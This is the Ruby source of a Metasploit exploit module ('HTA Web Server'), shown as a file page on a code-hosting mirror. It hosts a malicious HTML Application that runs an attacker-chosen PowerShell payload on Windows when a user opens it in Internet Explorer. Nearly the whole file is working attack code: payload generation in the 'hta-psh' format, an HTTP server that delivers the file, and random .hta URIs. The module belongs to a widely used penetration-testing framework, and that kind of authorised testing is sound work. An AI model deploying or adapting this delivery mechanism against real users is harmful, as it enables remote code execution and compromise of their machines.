modules/exploits/windows/misc/hta_server.rb - master - githubmirror/metasploit-framework

modules/exploits/windows/misc/hta_server.rb

62 строки2 KB

cgranleese-r7

Adds sentinel notes to modules that are missing stability, reliability or side effects

25 июн 2025, 11:32

25 июн 2025, 11:3240ca2b3

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HTA Web Server',
        'Description' => %q{
          This module hosts an HTML Application (HTA) that when opened will run a
          payload via Powershell. When a user navigates to the HTA file they will
          be prompted by IE twice before the payload is executed.
        },
        'License' => MSF_LICENSE,
        'Author' => 'Spencer McIntyre',
        'References' => [
          ['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
        ],
        # space is restricted by the powershell command limit
        'Payload' => { 'DisableNops' => true, 'Space' => 2048 },
        'Platform' => %w(win),
        'Targets' => [
          [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
          [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-10-06',
        'Notes' => {
          'SideEffects' => [ SCREEN_EFFECTS ],
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => UNKNOWN_RELIABILITY,
        }
      )
    )
  end

  def on_request_uri(cli, _request)
    print_status('Delivering Payload')
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      target.arch,
      target.platform,
      p.encoded,
      'hta-psh',
      { :arch => target.arch, :platform => target.platform }
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end

  def random_uri
    # uri needs to end in .hta for IE to process the file correctly
    '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
  end
end